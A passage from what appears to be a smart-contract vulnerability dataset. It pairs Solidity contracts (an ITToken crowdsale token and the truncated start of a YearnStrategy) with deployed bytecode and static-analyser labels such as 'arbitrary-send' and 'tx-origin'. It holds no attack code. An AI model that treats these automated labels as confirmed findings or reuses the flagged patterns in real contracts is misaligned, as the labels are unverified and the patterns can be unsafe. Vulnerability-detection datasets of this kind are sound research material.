3ffffffffffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a1505050505050505050565b600360009054906101000a90046fffffffffffffffffffffffffffffffff1681565b60001515600260149054906101000a900460ff161515141515614c7557600080fd5b806001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015614d0c57600080fd5b505af1158015614d20573d6000803e3d6000fd5b505050506040513d6020811015614d3657600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141515141515614d8357600080fd5b8260016000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b158015614e1a57600080fd5b505af1158015614e2e573d6000803e3d6000fd5b505050506040513d610140811015614e4557600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250905050809150508115156000826fffffffffffffffffffffffffffffffff16111515141515614f0f57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f630a4688760006040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001826fffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b158015614fbb57600080fd5b505af1158015614fcf573d6000803e3d6000fd5b505050507f9cace4224e735a468a16db4de6d276ab6f96088fab8b9e32c5d769d0544606f23287604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050505050565b826004601f016020900481019282156150d25791602002820160005b838211156150a357833560ff1683826101000a81548160ff021916908360ff1602179055509260200192600101602081600001049283019260010302615062565b80156150d05782816101000a81549060ff02191690556001016020816000010492830192600103026150a3565b505b5090506150df91906150e3565b5090565b61511091905b8082111561510c57600081816101000a81549060ff0219169055506001016150e9565b5090565b905600a165627a7a723058203c36c0c72a1b00400721975975e033cb3ea59b3fa4fa01bbc76437d3a081f5970029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,049 |
0xca3670c7f0ab40fc8502595aac6d16f1572ad13b
|
pragma solidity ^0.4.18;
// accepted from zeppelin-solidity https://github.com/OpenZeppelin/zeppelin-solidity
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address _who) public constant returns (uint);
function allowance(address _owner, address _spender) public constant returns (uint);
function transfer(address _to, uint _value) public returns (bool ok);
function transferFrom(address _from, address _to, uint _value) public returns (bool ok);
function approve(address _spender, uint _value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ITToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "INFINITY TRAVEL TOKEN";
string public constant symbol = "ITT";
uint256 public constant decimals = 18; // decimal places
// Start withdraw of tokens
uint256 public startWithdraw;
// MultiSig Wallet Address
address public ITTMultisig;
// Address of wallet from which tokens assigned
address public ethExchangeWallet;
uint256 public tokensPerEther = 1000;
bool public startStop = false;
mapping (address => uint256) public walletAngelPESales;
mapping (address => uint256) public walletFoundingInitiatorSales;
mapping (address => uint256) public releasedAngelPESales;
mapping (address => uint256) public releasedFoundingInitiatorSales;
mapping (uint => address) public walletAddresses;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
function ITToken() public {
totalSupply = 500000000 ether;
balances[msg.sender] = totalSupply;
}
// Only to be called by Owner of this contract
// @param _id Id of lock wallet address
// @param _walletAddress Address of lock wallet
function addWalletAddresses(uint _id, address _walletAddress) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
}
// Owner can Set Multisig wallet
// @param _ittMultisig address of Multisig wallet.
function setITTMultiSig(address _ittMultisig) onlyOwner external{
require(_ittMultisig != address(0));
ITTMultisig = _ittMultisig;
}
// Only to be called by Owner of this contract
// @param _ethExchangeWallet Ether Address of exchange wallet
function setEthExchangeWallet(address _ethExchangeWallet) onlyOwner external {
require(_ethExchangeWallet != address(0));
ethExchangeWallet = _ethExchangeWallet;
}
// Only to be called by Owner of this contract
// @param _tokensPerEther Tokens per ether during ICO stages
function setTokensPerEther(uint256 _tokensPerEther) onlyOwner external {
require(_tokensPerEther > 0);
tokensPerEther = _tokensPerEther;
}
function startStopICO(bool status) onlyOwner external {
startStop = status;
}
function startLockingPeriod() onlyOwner external {
startWithdraw = now;
}
// Assign tokens to investor with locking period
function assignToken(address _investor,uint256 _tokens) external {
// Tokens assigned by only Angel Sales,PE Sales,Founding Investor and Initiator Team wallets
require(msg.sender == walletAddresses[0] || msg.sender == walletAddresses[1] || msg.sender == walletAddresses[2] || msg.sender == walletAddresses[3]);
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0] || msg.sender == walletAddresses[1]){
walletAngelPESales[_investor] = safeAdd(walletAngelPESales[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2] || msg.sender == walletAddresses[3]){
walletFoundingInitiatorSales[_investor] = safeAdd(walletFoundingInitiatorSales[_investor],_tokens);
}
else{
revert();
}
}
function withdrawTokens() public {
require(walletAngelPESales[msg.sender] > 0 || walletFoundingInitiatorSales[msg.sender] > 0);
uint256 withdrawableAmount = 0;
if (walletAngelPESales[msg.sender] > 0) {
uint256 withdrawableAmountANPES = getWithdrawableAmountANPES(msg.sender);
walletAngelPESales[msg.sender] = safeSub(walletAngelPESales[msg.sender], withdrawableAmountANPES);
releasedAngelPESales[msg.sender] = safeAdd(releasedAngelPESales[msg.sender],withdrawableAmountANPES);
withdrawableAmount = safeAdd(withdrawableAmount, withdrawableAmountANPES);
}
if (walletFoundingInitiatorSales[msg.sender] > 0) {
uint256 withdrawableAmountFIIT = getWithdrawableAmountFIIT(msg.sender);
walletFoundingInitiatorSales[msg.sender] = safeSub(walletFoundingInitiatorSales[msg.sender], withdrawableAmountFIIT);
releasedFoundingInitiatorSales[msg.sender] = safeAdd(releasedFoundingInitiatorSales[msg.sender], withdrawableAmountFIIT);
withdrawableAmount = safeAdd(withdrawableAmount, withdrawableAmountFIIT);
}
require(withdrawableAmount > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], withdrawableAmount);
}
// For wallet Angel Sales and PE Sales
function getWithdrawableAmountANPES(address _investor) public view returns(uint256) {
require(startWithdraw != 0);
// interval in months
uint interval = safeDiv(safeSub(now,startWithdraw),30 days);
// total allocatedTokens
uint _allocatedTokens = safeAdd(walletAngelPESales[_investor],releasedAngelPESales[_investor]);
// Atleast 6 months
if (interval < 6) {
return (0);
} else if (interval >= 6 && interval < 12) {
return safeSub(getPercentageAmount(25,_allocatedTokens), releasedAngelPESales[_investor]);
} else if (interval >= 12 && interval < 18) {
return safeSub(getPercentageAmount(50,_allocatedTokens), releasedAngelPESales[_investor]);
} else if (interval >= 18 && interval < 24) {
return safeSub(getPercentageAmount(75,_allocatedTokens), releasedAngelPESales[_investor]);
} else if (interval >= 24) {
return safeSub(_allocatedTokens, releasedAngelPESales[_investor]);
}
}
// For wallet Founding Investor and Initiator Team
function getWithdrawableAmountFIIT(address _investor) public view returns(uint256) {
require(startWithdraw != 0);
// interval in months
uint interval = safeDiv(safeSub(now,startWithdraw),30 days);
// total allocatedTokens
uint _allocatedTokens = safeAdd(walletFoundingInitiatorSales[_investor],releasedFoundingInitiatorSales[_investor]);
// Atleast 24 months
if (interval < 24) {
return (0);
} else if (interval >= 24) {
return safeSub(_allocatedTokens, releasedFoundingInitiatorSales[_investor]);
}
}
function getPercentageAmount(uint256 percent,uint256 _tokens) internal pure returns (uint256) {
return safeDiv(safeMul(_tokens,percent),100);
}
// Sale of the tokens. Investors can call this method to invest into ITT Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
//Sorry !! We only allow to invest with minimum 0.5 Ether as value
require(msg.value >= (0.5 ether));
// multiply by exchange rate to get token amount
uint256 calculatedTokens = safeMul(msg.value, tokensPerEther);
// Wait we check tokens available for assign
require(balances[ethExchangeWallet] >= calculatedTokens);
// Call to Internal function to assign tokens
assignTokens(msg.sender, calculatedTokens);
}
// Function will transfer the tokens to investor's address
// Common function code for assigning tokens
function assignTokens(address investor, uint256 tokens) internal {
// Debit tokens from ether exchange wallet
balances[ethExchangeWallet] = safeSub(balances[ethExchangeWallet], tokens);
// Assign tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token assigned to sender, log the creation event
Transfer(ethExchangeWallet, investor, tokens);
}
function finalizeCrowdSale() external{
// Check ITT Multisig wallet set or not
require(ITTMultisig != address(0));
// Send fund to multisig wallet
require(ITTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` ITTokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of ITTokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` ITTokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of ITTokens to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
|
0x6080604052600436106101955763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610201578063095ea7b31461028b57806312f7c47b146102c35780631469d5d4146102f657806318160ddd1461032a57806323b872dd1461033f578063313ce5671461036957806340c054011461037e57806345bfdca61461039f5780635a5ddcf6146103c5578063631c42ae146103df57806368a7212d146103f457806370a082311461041557806371098a35146104365780638ca9e7211461044b5780638d8f2adb146104605780638da5cb5b146104755780638f69fa251461048a578063904bd6d01461049f57806390ed6bf4146104b7578063958a3698146104cc57806395d89b41146104ed578063998c4f5a14610502578063a401d24d14610523578063a9059cbb14610547578063b960a6d41461056b578063c7968ff014610580578063d5320300146105a1578063dd62ed3e146105c2578063f2fde38b146105e9578063f5f836851461060a578063f856d6051461062b575b60065460009060ff1615156101a957600080fd5b6706f05b59d3b200003410156101be57600080fd5b6101ca34600554610640565b600454600160a060020a03166000908152600c60205260409020549091508111156101f457600080fd5b6101fe3382610676565b50005b34801561020d57600080fd5b5061021661072a565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610250578181015183820152602001610238565b50505050905090810190601f16801561027d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029757600080fd5b506102af600160a060020a0360043516602435610761565b604080519115158252519081900360200190f35b3480156102cf57600080fd5b506102e4600160a060020a03600435166107df565b60408051918252519081900360200190f35b34801561030257600080fd5b5061030e6004356107f1565b60408051600160a060020a039092168252519081900360200190f35b34801561033657600080fd5b506102e461080c565b34801561034b57600080fd5b506102af600160a060020a0360043581169060243516604435610812565b34801561037557600080fd5b506102e461099c565b34801561038a57600080fd5b506102e4600160a060020a03600435166109a1565b3480156103ab57600080fd5b506103c3600435600160a060020a0360243516610a4b565b005b3480156103d157600080fd5b506103c36004351515610ab2565b3480156103eb57600080fd5b5061030e610adc565b34801561040057600080fd5b506102e4600160a060020a0360043516610aeb565b34801561042157600080fd5b506102e4600160a060020a0360043516610afd565b34801561044257600080fd5b506102af610b18565b34801561045757600080fd5b506103c3610b21565b34801561046c57600080fd5b506103c3610b6e565b34801561048157600080fd5b5061030e610ce5565b34801561049657600080fd5b506103c3610cf4565b3480156104ab57600080fd5b506103c3600435610d11565b3480156104c357600080fd5b506102e4610d3a565b3480156104d857600080fd5b506103c3600160a060020a0360043516610d40565b3480156104f957600080fd5b50610216610d9b565b34801561050e57600080fd5b506103c3600160a060020a0360043516610dd2565b34801561052f57600080fd5b506103c3600160a060020a0360043516602435610e2d565b34801561055357600080fd5b506102af600160a060020a0360043516602435611111565b34801561057757600080fd5b5061030e6111ed565b34801561058c57600080fd5b506102e4600160a060020a03600435166111fc565b3480156105ad57600080fd5b506102e4600160a060020a036004351661120e565b3480156105ce57600080fd5b506102e4600160a060020a036004358116906024351661132f565b3480156105f557600080fd5b506103c3600160a060020a036004351661135a565b34801561061657600080fd5b506102e4600160a060020a03600435166113ef565b34801561063757600080fd5b506102e4611401565b600080831515610653576000915061066f565b5082820282848281151561066357fe5b041461066b57fe5b8091505b5092915050565b600454600160a060020a03166000908152600c602052604090205461069b9082611407565b600454600160a060020a039081166000908152600c602052604080822093909355908416815220546106cd9082611419565b600160a060020a038084166000818152600c6020908152604091829020949094556004548151868152915192949316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35050565b60408051808201909152601581527f494e46494e4954592054524156454c20544f4b454e0000000000000000000000602082015281565b6000600160a060020a038316151561077857600080fd5b336000818152600d60209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60096020526000908152604090205481565b600b60205260009081526040902054600160a060020a031681565b60005481565b6000600160a060020a038416158015906108345750600160a060020a03831615155b80156108405750600082115b151561084b57600080fd5b600160a060020a0384166000908152600d6020908152604080832033845290915290205482118015906108965750600160a060020a0384166000908152600c60205260409020548211155b15156108a157600080fd5b600160a060020a0384166000908152600c60205260409020546108c49083611407565b600160a060020a038086166000908152600c602052604080822093909355908516815220546108f39083611419565b600160a060020a038085166000908152600c60209081526040808320949094559187168152600d825282812033825290915220546109319083611407565b600160a060020a038086166000818152600d6020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b60008060006002546000141515156109b857600080fd5b6109d06109c742600254611407565b62278d00611428565b600160a060020a038516600090815260086020908152604080832054600a90925290912054919350610a0191611419565b90506018821015610a155760009250610a44565b60188210610a4457600160a060020a0384166000908152600a6020526040902054610a41908290611407565b92505b5050919050565b600154600160a060020a03163314610a6257600080fd5b600160a060020a0381161515610a7757600080fd5b6000918252600b6020526040909120805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055565b600154600160a060020a03163314610ac957600080fd5b6006805460ff1916911515919091179055565b600454600160a060020a031681565b60086020526000908152604090205481565b600160a060020a03166000908152600c602052604090205490565b60065460ff1681565b600354600160a060020a03161515610b3857600080fd5b600354604051600160a060020a0390911690303180156108fc02916000818181858888f193505050501515610b6c57600080fd5b565b3360009081526007602052604081205481908190811080610b9c575033600090815260086020526040812054115b1515610ba757600080fd5b33600090815260076020526040812054909350831015610c2a57610bca3361120e565b33600090815260076020526040902054909250610be79083611407565b33600090815260076020908152604080832093909355600990522054610c0d9083611419565b33600090815260096020526040902055610c278383611419565b92505b336000908152600860205260408120541115610ca957610c49336109a1565b33600090815260086020526040902054909150610c669082611407565b33600090815260086020908152604080832093909355600a90522054610c8c9082611419565b336000908152600a6020526040902055610ca68382611419565b92505b60008311610cb657600080fd5b336000908152600c6020526040902054610cd09084611419565b336000908152600c6020526040902055505050565b600154600160a060020a031681565b600154600160a060020a03163314610d0b57600080fd5b42600255565b600154600160a060020a03163314610d2857600080fd5b60008111610d3557600080fd5b600555565b60025481565b600154600160a060020a03163314610d5757600080fd5b600160a060020a0381161515610d6c57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051808201909152600381527f4954540000000000000000000000000000000000000000000000000000000000602082015281565b600154600160a060020a03163314610de957600080fd5b600160a060020a0381161515610dfe57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008052600b6020527fdf7de25b7f1fd6d0b5205f0e18f1f35bd7b8d84cce336588d184533ce43a6f7654600160a060020a0316331480610ea157506001600052600b6020527f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5cf54600160a060020a031633145b80610edf57506002600052600b6020527fa50eece07c7db1631545c0069bd8f5f54d5935e215d59097edf258a44ba9163454600160a060020a031633145b80610f1d57506003600052600b6020527f64c15cc42be7899b001f818cf4433057002112c418d1d3a67cd5cb453051d33e54600160a060020a031633145b1515610f2857600080fd5b600160a060020a03821615801590610f405750600081115b1515610f4b57600080fd5b336000908152600c6020526040902054811115610f6757600080fd5b336000908152600c6020526040902054610f819082611407565b336000818152600c602090815260408220939093558052600b9091527fdf7de25b7f1fd6d0b5205f0e18f1f35bd7b8d84cce336588d184533ce43a6f7654600160a060020a0316148061100757506001600052600b6020527f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5cf54600160a060020a031633145b1561104d57600160a060020a03821660009081526007602052604090205461102f9082611419565b600160a060020a03831660009081526007602052604090205561110d565b6002600052600b6020527fa50eece07c7db1631545c0069bd8f5f54d5935e215d59097edf258a44ba9163454600160a060020a03163314806110c257506003600052600b6020527f64c15cc42be7899b001f818cf4433057002112c418d1d3a67cd5cb453051d33e54600160a060020a031633145b1561110857600160a060020a0382166000908152600860205260409020546110ea9082611419565b600160a060020a03831660009081526008602052604090205561110d565b600080fd5b5050565b600080600160a060020a0384161580159061112c5750600083115b151561113757600080fd5b50336000908152600c60205260409020548281101561115557600080fd5b61115f8184611407565b336000908152600c6020526040808220839055600160a060020a038716825290205490915061118e9084611419565b600160a060020a0385166000818152600c60209081526040918290209390935580518681529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019392505050565b600354600160a060020a031681565b600a6020526000908152604090205481565b600080600060025460001415151561122557600080fd5b6112346109c742600254611407565b600160a060020a03851660009081526007602090815260408083205460099092529091205491935061126591611419565b905060068210156112795760009250610a44565b6006821015801561128a5750600c82105b156112bb57610a4161129d60198361143f565b600160a060020a038616600090815260096020526040902054611407565b600c82101580156112cc5750601282105b156112df57610a4161129d60328361143f565b601282101580156112f05750601882105b1561130357610a4161129d604b8361143f565b60188210610a4457600160a060020a038416600090815260096020526040902054610a41908290611407565b600160a060020a039182166000908152600d6020908152604080832093909416825291909152205490565b600154600160a060020a0316331461137157600080fd5b600160a060020a038116151561138657600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60076020526000908152604090205481565b60055481565b60008282111561141357fe5b50900390565b60008282018381101561066b57fe5b600080828481151561143657fe5b04949350505050565b600061145561144e8385610640565b6064611428565b93925050505600a165627a7a723058201be893ceaf0916ac1f0d50be356fea7bc1fd3934feb85bbe38b5dd8f08c172ce0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,050 |
0xe9b1de588ec51221ee757ccf599acfac1a18c78e
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface StakedToken {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IStakeAndYield {
function getRewardToken() external view returns(address);
function totalSupply(uint256 stakeType) external view returns(uint256);
function totalYieldWithdrawed() external view returns(uint256);
function notifyRewardAmount(uint256 reward, uint256 stakeType) external;
}
interface IController {
function withdrawETH(uint256 amount) external;
function depositForStrategy(uint256 amount, address addr) external;
function buyForStrategy(
uint256 amount,
address rewardToken,
address recipient
) external;
}
interface IYearnVault {
function depositETH() external payable;
}
interface IYearnWETH{
function balanceOf(address account) external view returns (uint256);
function withdraw(uint256 amount, address recipient) external returns(uint256);
function pricePerShare() external view returns(uint256);
function deposit(uint256 _amount) external returns(uint256);
}
interface IWETH is StakedToken{
function withdraw(uint256 amount) external returns(uint256);
}
contract YearnStrategy is Ownable {
using SafeMath for uint256;
uint256 public lastEpochTime;
uint256 public lastBalance;
uint256 public lastYieldWithdrawed;
uint256 public yearFeesPercent = 2;
IStakeAndYield public vault;
StakedToken public token;
IController public controller;
IYearnWETH public yweth = IYearnWETH(0xa9fE4601811213c340e850ea305481afF02f5b28);
IWETH public weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public operator;
modifier onlyOwnerOrOperator(){
require(
msg.sender == owner() || msg.sender == operator,
"!owner"
);
_;
}
constructor(
address _vault,
address _controller
) public{
vault = IStakeAndYield(_vault);
controller = IController(_controller);
}
// Since Owner is calling this function, we can pass
// the ETHPerToken amount
function epoch(uint256 ETHPerToken) public onlyOwnerOrOperator{
uint256 balance = pendingBalance();
//require(balance > 0, "balance is 0");
harvest(balance.mul(ETHPerToken).div(1 ether));
lastEpochTime = block.timestamp;
lastBalance = lastBalance.add(balance);
uint256 currentWithdrawd = vault.totalYieldWithdrawed();
uint256 withdrawAmountToken = currentWithdrawd.sub(lastYieldWithdrawed);
if(withdrawAmountToken > 0){
lastYieldWithdrawed = currentWithdrawd;
uint256 ethWithdrawed = withdrawAmountToken.mul(
ETHPerToken
).div(1 ether);
withdrawFromYearn(ethWithdrawed);
}
}
function harvest(uint256 ethBalance) private{
uint256 rewards = calculateRewards();
if(ethBalance > rewards){
//deposit to yearn
controller.depositForStrategy(ethBalance.sub(rewards), address(this));
}else{
